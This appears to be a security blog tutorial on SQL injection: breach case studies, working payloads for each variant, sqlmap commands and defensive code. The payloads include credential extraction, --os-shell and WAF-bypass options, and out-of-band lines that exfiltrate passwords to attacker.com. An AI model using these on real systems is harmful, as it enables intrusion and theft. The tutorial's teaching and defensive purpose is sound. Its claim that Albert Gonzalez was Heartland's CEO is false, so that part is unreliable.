Skip to content
← pwnsy/blog
intermediate18 min readMar 8, 2026Updated Mar 11, 2026

SQL Injection Explained: How It Works and How to Stop It

web-security#sql-injection#web-security#owasp#penetration-testing#secure-coding

Key Takeaways

  • At the most fundamental level, SQL injection is a failure to maintain the boundary between code and data.
  • The Heartland breach began in late 2007 when attackers probed Heartland's web-facing applications and found SQL injection vulnerabilities.
  • Authentication bypass through SQL injection is the simplest variant, but it remains relevant because many internal tools, legacy systems, and admin panels contain exactly this pattern.
  • Union-based SQLi is used when the application reflects database output back in the HTTP response.
  • When the application doesn't reflect database output but does respond differently for true vs.
  • When neither the response content nor the status code changes between true and false conditions, time delays become the channel for data exfiltration.

SQL injection has appeared on every OWASP Top 10 list since the list's inception in 2003. It's been responsible for some of the largest data breaches ever recorded. And it's still being found in production applications every single day — including at companies that have employed security teams for years.

The reason for its persistence is simple: developers learn to build applications without learning to build them securely. String concatenation is the intuitive way to build a SQL query. Parameterization requires knowing why string concatenation is broken. That knowledge gap is where breaches happen.

This post covers every major variant of SQL injection, walks through real exploitation steps with actual payloads, analyzes three historical breaches with technical detail, and provides working code for every defense.

What SQL Injection Actually Is

At the most fundamental level, SQL injection is a failure to maintain the boundary between code and data. When you write application code, you have SQL code (the query structure) and SQL data (the values being queried). The database needs to know which is which.

Parameterized queries maintain this boundary explicitly: you send the query structure first, the database compiles it, then you supply data values that get bound to placeholders. The database never interprets the data as code.

String concatenation destroys the boundary: you construct one string that contains both the query structure and user-supplied data, then send the combined string to the database. The database parses the entire thing as SQL — and if the user-supplied data contains SQL syntax, it gets interpreted as part of the query structure.

-- What the developer intended:
SELECT * FROM products WHERE category = 'Electronics' AND price < 1000
 
-- The actual query when user supplies: Electronics' OR '1'='1
SELECT * FROM products WHERE category = 'Electronics' OR '1'='1' AND price < 1000
 
-- Due to operator precedence (AND binds tighter than OR), this is:
SELECT * FROM products WHERE category = 'Electronics' OR ('1'='1' AND price < 1000)
-- Which returns all Electronics AND any product under $1000 — not what was intended

The malicious input changed the meaning of the query. That's SQL injection.

Historical Breaches: The Real Cost

Heartland Payment Systems (2008) — 130 Million Cards

The Heartland breach began in late 2007 when attackers probed Heartland's web-facing applications and found SQL injection vulnerabilities. Once inside the database tier, they escalated access and installed packet-sniffing malware that intercepted unencrypted credit card data flowing through Heartland's payment processing network.

Scale: 130 million credit and debit card numbers stolen over approximately six months before discovery in January 2009.

Cost: Heartland paid $145 million in compensation to Visa and Mastercard. Total costs including fines, legal fees, and remediation exceeded $200 million. Heartland's CEO Albert Gonzalez was later arrested; his accomplices included carders from Eastern Europe who sold the stolen cards in bulk.

Technical detail: The SQLi was reportedly in a standard web application, not Heartland's core payment processing code. The lateral movement from web tier to payment processor network happened through insufficient network segmentation — a web server that could reach the payment processing LAN.

Sony Pictures (2011) — 77 Million PlayStation Network Accounts

In April 2011, the PlayStation Network was taken offline for 23 days after attackers compromised 77 million accounts. The breach included names, addresses, email addresses, birthdates, and for approximately 12,000 accounts, unencrypted credit card data.

Technical cause: Publicly, Sony attributed the breach to a sophisticated attacker. Security researchers examining the exposed data noted the passwords appeared to be stored in a reversible or weakly-hashed format, and the initial access vector was consistent with SQL injection. A separate Sony Pictures breach in May 2011 explicitly involved SQLi — attackers published a post claiming the Sony Pictures database was compromised using "the most basic of SQL injections."

Cost: Sony estimated the breach cost $171 million. The PlayStation Network was offline for 23 days, costing Sony an estimated $24 million in lost revenue. Sony also provided a year of free PlayStation Plus and identity theft protection to affected users.

Lesson: The PSN breach preceded the Sony Pictures Entertainment breach by LulzSec in May 2011, which also used SQL injection. Two separate major SQLi breaches at the same company within weeks of each other.

Marriott/Starwood (2018) — 500 Million Records

The Marriott/Starwood breach was disclosed in November 2018 but dated to 2014 — four years of undetected access. Attackers compromised the Starwood guest reservation database before Marriott's 2016 acquisition, and the compromise continued through the acquisition entirely undetected.

Technical detail: The initial access vector was not definitively confirmed publicly, but the UK Information Commissioner's Office (ICO) investigation found evidence of SQL injection techniques in the attacker's toolkit. The attribution to China's Ministry of State Security came from US intelligence agencies in 2018.

Scale: 500 million guest records, including 327 million with full details: names, addresses, phone numbers, email addresses, passport numbers, and payment card data.

Cost: ICO fined Marriott £18.4 million (reduced from an initial £99 million). Marriott also faced class-action suits and regulatory investigations across multiple jurisdictions.

Authentication Bypass: The Basics

Authentication bypass through SQL injection is the simplest variant, but it remains relevant because many internal tools, legacy systems, and admin panels contain exactly this pattern.

Classic Login Form Bypass

# VULNERABLE backend code
import sqlite3
 
def authenticate_user(username: str, password: str) -> bool:
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()
 
    # NEVER DO THIS
    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    print(f"Executing: {query}")  # For educational purposes
    cursor.execute(query)
    user = cursor.fetchone()
    return user is not None

Attack payloads:

username: admin'--
password: anything

Resulting query:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
The -- comments out the password check. Logs in as admin.
username: ' OR '1'='1'--
password: anything

Resulting query:
SELECT * FROM users WHERE username = '' OR '1'='1'--' AND password = 'anything'
The OR '1'='1' evaluates to TRUE for every row. Returns the first user (usually admin).
username: admin'/*
password: */ AND '1'='1

Resulting query:
SELECT * FROM users WHERE username = 'admin'/* AND password = '*/ AND '1'='1'
The /* ... */ block comment eliminates the password check.

Testing for SQLi Manually

The first step in any SQLi test is confirming the injection point exists:

# Single quote — causes a syntax error if the value is inserted into SQL
'
 
# Double quote — for identifiers
"
 
# Boolean true/false test — both should return the same result if no injection
' OR '1'='1
' OR '1'='2
 
# Comment-based test
'--
'#
'/*
 
# Time-based test — if this causes a 5-second delay, SQLi is confirmed
' AND SLEEP(5)--        # MySQL
'; SELECT pg_sleep(5)-- # PostgreSQL
'; WAITFOR DELAY '0:0:5'-- # MSSQL

Union-Based Extraction

Union-based SQLi is used when the application reflects database output back in the HTTP response. The UNION SELECT appends a second query to the original, and both result sets are returned together.

Step 1: Determine Column Count

-- ORDER BY technique — increment until you get an error
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   -- if this causes an error, the original query returns 2 columns
' ORDER BY 4--   -- error confirms 3 columns
 
-- NULL probing technique — more reliable, works across databases
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--  -- when the error disappears, you have the count

Step 2: Find String-Compatible Columns

Not all columns accept string output. Replace NULLs one at a time with a string literal:

' UNION SELECT 'pwnsy',NULL,NULL--
' UNION SELECT NULL,'pwnsy',NULL--
' UNION SELECT NULL,NULL,'pwnsy'--

When pwnsy appears in the response, you know which column position outputs string data.

Step 3: Extract Database Version and Enumerate Tables

-- MySQL / MariaDB
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,database(),NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
 
-- PostgreSQL
' UNION SELECT NULL,version(),NULL--
' UNION SELECT NULL,current_database(),NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='public'--
 
-- Microsoft SQL Server
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,DB_NAME(),NULL--
' UNION SELECT NULL,name,NULL FROM sys.tables--
 
-- Oracle
' UNION SELECT NULL,banner,NULL FROM v$version--
' UNION SELECT NULL,table_name,NULL FROM all_tables--

Step 4: Extract Target Table Data

-- Find columns in the users table
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns
  WHERE table_name='users'--
 
-- Extract credentials
' UNION SELECT NULL,username||':'||password_hash,NULL FROM users--
-- MySQL: CONCAT(username,':',password_hash)
-- MSSQL: username+':'+password_hash

Concatenating Multiple Values When Columns Are Limited

-- When you only have one visible string column but want multiple values
' UNION SELECT NULL,username||'~'||password||'~'||email,NULL FROM users--
 
-- Output: admin~$2b$12$abc123~admin@company.com
-- One response line contains all three fields, split by the ~ delimiter

Blind SQL Injection — Boolean-Based

When the application doesn't reflect database output but does respond differently for true vs. false conditions (different page content, different redirect, different status code).

Confirming Boolean Blindness

-- If the page loads normally for the first payload but differently for the second,
-- boolean-based blind SQLi is confirmed
' AND 1=1--   -- TRUE condition
' AND 1=2--   -- FALSE condition

Extracting Data Bit by Bit

The fundamental technique: use binary search to determine each character's ASCII value.

-- Is the first character of the admin password greater than ASCII 77 (M)?
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) > 77--
 
-- TRUE response: first char > M (search upper half: N-Z, 0-9, etc.)
-- FALSE response: first char ≤ M (search lower half: A-M)
 
-- After binary search narrows down to exact value:
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) = 104-- -- 'h'
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),2,1)) = 117-- -- 'u'
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),3,1)) = 110-- -- 'n'
-- ... continues for each character position

Automated Extraction with sqlmap

This process is too slow to do manually for real data. sqlmap automates it:

# Basic detection
sqlmap -u "https://target.com/products?id=1"
 
# With a captured HTTP request (most reliable for complex authenticated requests)
sqlmap -r request.txt --level=3 --risk=2
 
# Once confirmed vulnerable: enumerate databases
sqlmap -r request.txt --dbs
 
# Enumerate tables in a specific database
sqlmap -r request.txt -D production_db --tables
 
# Dump a specific table
sqlmap -r request.txt -D production_db -T users --dump
 
# Dump specific columns
sqlmap -r request.txt -D production_db -T users -C username,password --dump
 
# Attempt OS shell if DB user has FILE privilege (MySQL)
sqlmap -r request.txt --os-shell
 
# Tamper scripts to bypass WAF
sqlmap -r request.txt --tamper=space2comment,between,randomcase
# request.txt format (captured from Burp Suite)
POST /api/search HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
 
{"query":"test","category":"1"}
Warning

Only run sqlmap against systems you own or have explicit written authorization to test. sqlmap generates hundreds to thousands of requests to a target. Even on authorized engagements, confirm with the client whether automated scanning is permitted before running it — some programs explicitly exclude automated tools.

Blind SQL Injection — Time-Based

When neither the response content nor the status code changes between true and false conditions, time delays become the channel for data exfiltration.

-- MySQL/MariaDB: conditional SLEEP
' AND IF(1=1, SLEEP(5), 0)--    -- 5 second delay confirms TRUE
' AND IF(1=2, SLEEP(5), 0)--    -- no delay confirms FALSE
 
-- Extracting data with time delay
' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>77, SLEEP(3), 0)--
 
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
 
-- MSSQL
'; IF (1=1) WAITFOR DELAY '0:0:5'--
 
-- Conditional data extraction (MSSQL)
'; IF (ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1)) > 77)
   WAITFOR DELAY '0:0:5'--

Practical timing threshold: Use a 3-5 second delay and measure multiple times to account for network jitter. A consistent 3-second differential between true and false is reliable signal. A 0.2-second differential in a high-latency connection is not.

Error-Based SQL Injection

Verbose database errors embedded in the HTTP response provide a direct output channel for data exfiltration.

-- MySQL: ExtractValue generates an XML parsing error containing the extracted data
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--
-- Error: XPATH syntax error: '~8.0.26'
-- The ~ (0x7e) forces the error; the value after it is the extracted data
 
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1)))--
-- Error: XPATH syntax error: '~$2b$12$N4p1hPSNJLB8...'
 
-- MSSQL: Conversion error surfaces string data
' AND 1=CONVERT(int, (SELECT TOP 1 password FROM users))--
-- Error: Conversion failed when converting the nvarchar value '$2b$12$...' to data type int.
 
-- PostgreSQL: Cast error
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
-- Error: invalid input syntax for type integer: "$2b$12$..."
 
-- Oracle: UTL_INADDR
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT password FROM users WHERE ROWNUM=1))--

Second-Order SQL Injection

The most underestimated variant. The payload is stored safely (parameterized INSERT), then used unsafely in a subsequent operation.

Scenario: Username in Password Update

# Step 1: Registration — parameterized INSERT, safe
def register_user(username: str, password: str):
    # This is correctly parameterized
    cursor.execute(
        "INSERT INTO users (username, password_hash) VALUES (%s, %s)",
        (username, bcrypt.hashpw(password.encode(), bcrypt.gensalt()))
    )
    # username "admin'--" is stored safely in the database
 
# Step 2: Password update — VULNERABLE
def change_password(username: str, new_password: str):
    # The username is retrieved from the database (trusted source assumption)
    # but then concatenated into a new query — WRONG
    query = f"UPDATE users SET password_hash = '{bcrypt.hashpw(new_password.encode(), bcrypt.gensalt()).decode()}' WHERE username = '{username}'"
    cursor.execute(query)
 
# Attack:
# 1. Register with username: admin'--
# 2. When change_password("admin'--", "newpassword") runs:
#    UPDATE users SET password_hash = '$2b$12$...' WHERE username = 'admin'--'
#    The -- comments out the rest — update applies to ALL users named 'admin'
#    (or whichever user the attacker targets)

Detection Method

Second-order SQLi requires:

  1. Mapping where user-controlled data is stored (registration, profile update, etc.)
  2. Tracing where that stored data is later used in application code
  3. Checking whether the later usage involves string concatenation into a query

Static analysis tools like Semgrep with custom rules can detect this pattern:

# Semgrep rule for second-order SQLi patterns
rules:
  - id: second-order-sqli
    patterns:
      - pattern: |
          $DATA = $DB.query(...)
          ...
          $QUERY = "... " + $DATA + "..."
          $DB.execute($QUERY)
    message: "Potential second-order SQL injection: data from DB used in string-concatenated query"
    severity: ERROR
    languages: [python]

Out-of-Band SQL Injection

When the application returns no output and has consistent response behavior regardless of condition (making boolean-based and time-based unreliable), out-of-band channels extract data via DNS or HTTP requests initiated by the database server.

-- MySQL: load_file or outfile can trigger DNS lookups
-- Requires FILE privilege
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share'))--
 
-- MSSQL: xp_dirtree for DNS exfiltration (requires sysadmin or xp_cmdshell)
'; DECLARE @p VARCHAR(1024);
   SET @p=(SELECT TOP 1 password FROM users);
   EXEC('master..xp_dirtree "\\'+@p+'.attacker.com\test"')--
 
-- Oracle: UTL_HTTP for HTTP-based exfiltration
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1)) FROM dual--

Monitor for these with a Burp Collaborator or self-hosted OAST server (interactsh):

# Self-host an OAST server
interactsh-server -domain yourdomain.com
 
# Use the generated subdomain in payloads
# Any DNS query to *.yourdomain.com will be logged

Defenses That Actually Work

1. Parameterized Queries — The Only Real Fix

Parameterized queries eliminate SQL injection at the root. Period. Every language, every framework, every database supports them.

# Python — psycopg2 (PostgreSQL)
import psycopg2
 
def get_user(conn, username: str, password_hash: str):
    with conn.cursor() as cur:
        cur.execute(
            "SELECT id, username, email, role FROM users WHERE username = %s AND password_hash = %s",
            (username, password_hash)
        )
        return cur.fetchone()
 
# Python — SQLite3
import sqlite3
 
def get_user(conn, username: str, password_hash: str):
    cur = conn.execute(
        "SELECT id, username, email, role FROM users WHERE username = ? AND password_hash = ?",
        (username, password_hash)
    )
    return cur.fetchone()
 
# Python — SQLAlchemy (raw query with bound parameters)
from sqlalchemy import text
 
def get_user(session, username: str, password_hash: str):
    result = session.execute(
        text("SELECT id, username, email, role FROM users WHERE username = :username AND password_hash = :hash"),
        {"username": username, "hash": password_hash}
    )
    return result.fetchone()
// Node.js — pg (PostgreSQL)
const { Pool } = require('pg');
const pool = new Pool();
 
async function getUser(username, passwordHash) {
  const result = await pool.query(
    'SELECT id, username, email, role FROM users WHERE username = $1 AND password_hash = $2',
    [username, passwordHash]
  );
  return result.rows[0];
}
 
// Node.js — mysql2
const mysql = require('mysql2/promise');
 
async function getUser(connection, username, passwordHash) {
  const [rows] = await connection.execute(
    'SELECT id, username, email, role FROM users WHERE username = ? AND password_hash = ?',
    [username, passwordHash]
  );
  return rows[0];
}
// PHP — PDO (the right way)
function getUser(PDO $pdo, string $username, string $passwordHash): ?array {
    $stmt = $pdo->prepare(
        "SELECT id, username, email, role FROM users WHERE username = :username AND password_hash = :hash"
    );
    $stmt->execute([':username' => $username, ':hash' => $passwordHash]);
    return $stmt->fetch(PDO::FETCH_ASSOC) ?: null;
}
// Go — database/sql
import "database/sql"
 
func getUser(db *sql.DB, username, passwordHash string) (*User, error) {
    row := db.QueryRow(
        "SELECT id, username, email, role FROM users WHERE username = $1 AND password_hash = $2",
        username, passwordHash,
    )
    var u User
    if err := row.Scan(&u.ID, &u.Username, &u.Email, &u.Role); err != nil {
        if err == sql.ErrNoRows {
            return nil, nil
        }
        return nil, err
    }
    return &u, nil
}

2. ORM Usage — Safe by Default, Dangerous in Raw Mode

// Prisma — safe by default
const user = await prisma.user.findFirst({
  where: { username, passwordHash },
  select: { id: true, email: true, role: true },
});
 
// VULNERABLE: Prisma raw query without parameterization
// $queryRaw bypasses Prisma's protections entirely
const user = await prisma.$queryRaw`SELECT * FROM users WHERE username = '${username}'`;
// Prisma's template literal $queryRaw uses tagged templates — this IS parameterized
// But the old string-based version is not:
const user = await prisma.$queryRawUnsafe(`SELECT * FROM users WHERE username = '${username}'`);
 
// SAFE: $queryRaw with template literals (Prisma automatically parameterizes these)
const user = await prisma.$queryRaw`SELECT * FROM users WHERE username = ${username}`;
# SQLAlchemy ORM — safe
user = db.session.query(User).filter_by(username=username, password_hash=password_hash).first()
 
# VULNERABLE: raw string formatting in SQLAlchemy
db.session.execute(f"SELECT * FROM users WHERE username = '{username}'")
 
# SAFE: raw query with bound parameters
from sqlalchemy import text
db.session.execute(
    text("SELECT * FROM users WHERE username = :username"),
    {"username": username}
)

3. Dynamic ORDER BY and Column Names

Parameterized queries can't be used for column names or ORDER BY direction — these must use a strict allowlist:

ALLOWED_SORT_COLUMNS = {'created_at', 'username', 'email', 'last_login'}
ALLOWED_SORT_DIRECTIONS = {'ASC', 'DESC'}
 
def get_users_sorted(sort_by: str, direction: str):
    if sort_by not in ALLOWED_SORT_COLUMNS:
        raise ValueError(f"Invalid sort column: {sort_by}")
    if direction not in ALLOWED_SORT_DIRECTIONS:
        raise ValueError(f"Invalid sort direction: {direction}")
 
    # Now safe to interpolate — values are allowlisted, not user-controlled
    query = f"SELECT id, username, email FROM users ORDER BY {sort_by} {direction}"
    return db.execute(query).fetchall()
// TypeScript with Prisma — allowlisted dynamic ordering
type SortField = 'createdAt' | 'username' | 'email';
type SortOrder = 'asc' | 'desc';
 
const ALLOWED_FIELDS: SortField[] = ['createdAt', 'username', 'email'];
const ALLOWED_ORDERS: SortOrder[] = ['asc', 'desc'];
 
async function getUsers(sortBy: string, order: string) {
  if (!ALLOWED_FIELDS.includes(sortBy as SortField)) {
    throw new Error('Invalid sort field');
  }
  if (!ALLOWED_ORDERS.includes(order as SortOrder)) {
    throw new Error('Invalid sort order');
  }
 
  return prisma.user.findMany({
    orderBy: { [sortBy as SortField]: order as SortOrder },
  });
}

4. Stored Procedures — Only Safe When Used Correctly

-- VULNERABLE stored procedure (dynamic SQL inside)
CREATE PROCEDURE SearchProducts
    @category NVARCHAR(50)
AS
BEGIN
    EXEC('SELECT * FROM products WHERE category = ''' + @category + '''')
END
-- This is injectable because the dynamic SQL is constructed via string concatenation
 
-- SAFE stored procedure (uses the parameter directly)
CREATE PROCEDURE SearchProducts
    @category NVARCHAR(50)
AS
BEGIN
    SELECT name, price, description
    FROM products
    WHERE category = @category
END
-- The parameter @category is bound, not interpreted as SQL code

5. Least Privilege Database Accounts

-- Create a restricted application user (PostgreSQL)
CREATE USER app_user WITH PASSWORD 'strong_random_password';
 
-- Grant only what the application needs
GRANT SELECT, INSERT, UPDATE ON TABLE users, products, orders TO app_user;
GRANT SELECT ON TABLE categories TO app_user;
 
-- Do NOT grant:
-- GRANT ALL ON DATABASE appdb TO app_user; -- too broad
-- GRANT SUPERUSER TO app_user; -- never
-- GRANT CREATE TO app_user; -- unless migrations run as this user (use separate migration user)
 
-- Read-only replica user for reporting
CREATE USER reporting_user WITH PASSWORD 'different_strong_password';
GRANT SELECT ON ALL TABLES IN SCHEMA public TO reporting_user;

If an SQL injection occurs against the app_user, the attacker has SELECT/INSERT/UPDATE on specific tables — not DROP TABLE, not EXECUTE shell commands, not access to other databases on the same server.

6. WAF Configuration for SQLi

# ModSecurity CRS rules for SQLi
# /etc/modsecurity/modsecurity.conf
SecRuleEngine On
SecRule REQUEST_COOKIES|REQUEST_HEADERS|ARGS \
    "@detectSQLi" \
    "id:942100,phase:2,deny,status:403,log,msg:'SQL Injection Attack Detected'"
 
# Test your WAF bypass resistance
sqlmap -u "https://target.com/search?q=1" --tamper=space2comment,between,randomcase,charencode
Warning

WAFs are not a substitute for parameterized queries. Sophisticated attackers use encoding tricks, HTTP parameter pollution, chunked transfer encoding, and database-specific syntax to bypass WAF rules. A WAF that blocks 99% of SQLi payloads still lets through the 1% that matters if your application code remains vulnerable. Fix the code.

Detection During Code Review

When reviewing code for SQL injection, look for these patterns across every language:

# Red flags in Python
f"SELECT ... WHERE x = '{user_input}'"           # f-string interpolation
"SELECT ... WHERE x = '" + user_input + "'"      # string concatenation
"SELECT ... WHERE x = %s" % (user_input,)        # %-formatting (NOT safe, different from psycopg2 %s)
cursor.execute("SELECT ... WHERE x = " + val)    # execute with concatenation
// Red flags in JavaScript/TypeScript
`SELECT * FROM users WHERE username = '${username}'`  // template literal
"SELECT * FROM users WHERE username = '" + username + "'"  // concatenation
db.execute("SELECT * FROM users WHERE username = " + username)  // execute with string
prisma.$queryRawUnsafe(`SELECT ...${variable}...`)  // Prisma unsafe raw
knex.raw(`SELECT ... WHERE x = '${value}'`)  // Knex raw without bindings
// Red flags in PHP
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];  // concatenation
$query = "SELECT * FROM users WHERE username = '$username'";  // variable interpolation
$result = mysql_query($query);  // mysql_query (deprecated but still seen in legacy code)

Automated Detection with Semgrep

# Run OWASP's Semgrep ruleset for injection
semgrep --config "p/owasp-top-ten" src/
 
# Run specific SQLi rules
semgrep --config "p/sql-injection" src/
 
# Custom rule for Python f-string SQLi
cat > sqli-rule.yaml << 'EOF'
rules:
  - id: python-fstring-sqli
    pattern: |
      cursor.execute(f"... {$VAR} ...")
    message: "Potential SQL injection: f-string used in execute()"
    severity: ERROR
    languages: [python]
EOF
semgrep --config sqli-rule.yaml src/

Testing Methodology During a Pentest

# 1. Passive discovery — find injection points in a crawl
burpsuite &
# Configure browser proxy to Burp
# Navigate the target application
# Check Target > Site Map for all parameters
 
# 2. Active testing — inject into every parameter
# In Burp: right-click request > Send to Intruder
# Set payload position on the parameter value
# Payload list: single quote, double quote, boolean tests
# Check responses for error messages or behavioral differences
 
# 3. Automated confirmation
sqlmap -r captured_request.txt --batch --level=3
 
# 4. Exploitation — only if explicitly authorized for full pentest
sqlmap -r captured_request.txt --dbs --batch
sqlmap -r captured_request.txt -D appdb --tables --batch
sqlmap -r captured_request.txt -D appdb -T users --dump --batch
 
# 5. Document findings
# Screenshot of: vulnerable request, error message or behavioral difference,
# successful data extraction (sanitize real credentials in report)

Attack vs. Defense Summary

| Variant | Key Characteristic | sqlmap Flag | Primary Defense | |---|---|---|---| | Classic / Auth Bypass | Payload in query string alters logic | Default scan | Parameterized queries | | Union-Based | UNION SELECT appended, data reflected | --technique=U | Parameterized queries | | Boolean Blind | Response differs for true/false | --technique=B | Parameterized queries | | Time-Based Blind | Delay as true/false signal | --technique=T | Parameterized queries | | Error-Based | Data exfiltrated via error messages | --technique=E | Parameterized queries + disable verbose errors | | Second-Order | Payload stored, executed later | Requires manual testing | Parameterize ALL queries, including those using DB-sourced data | | Out-of-Band | Data via DNS/HTTP callback | --technique=O | Parameterized queries + network egress filtering |

Every row in that table has the same primary defense: parameterized queries. The variance between techniques is about detection and exploitation method, not about the underlying fix. If you parameterize every query in your codebase, the entire table becomes irrelevant.

The fact that SQL injection has persisted for two decades is a failure of developer education, not a failure of available solutions. The fix is known, well-documented, supported by every major database driver, and costs nothing in performance. There is no reasonable excuse for writing vulnerable code in 2026.

Sharetwitterlinkedin

Related Posts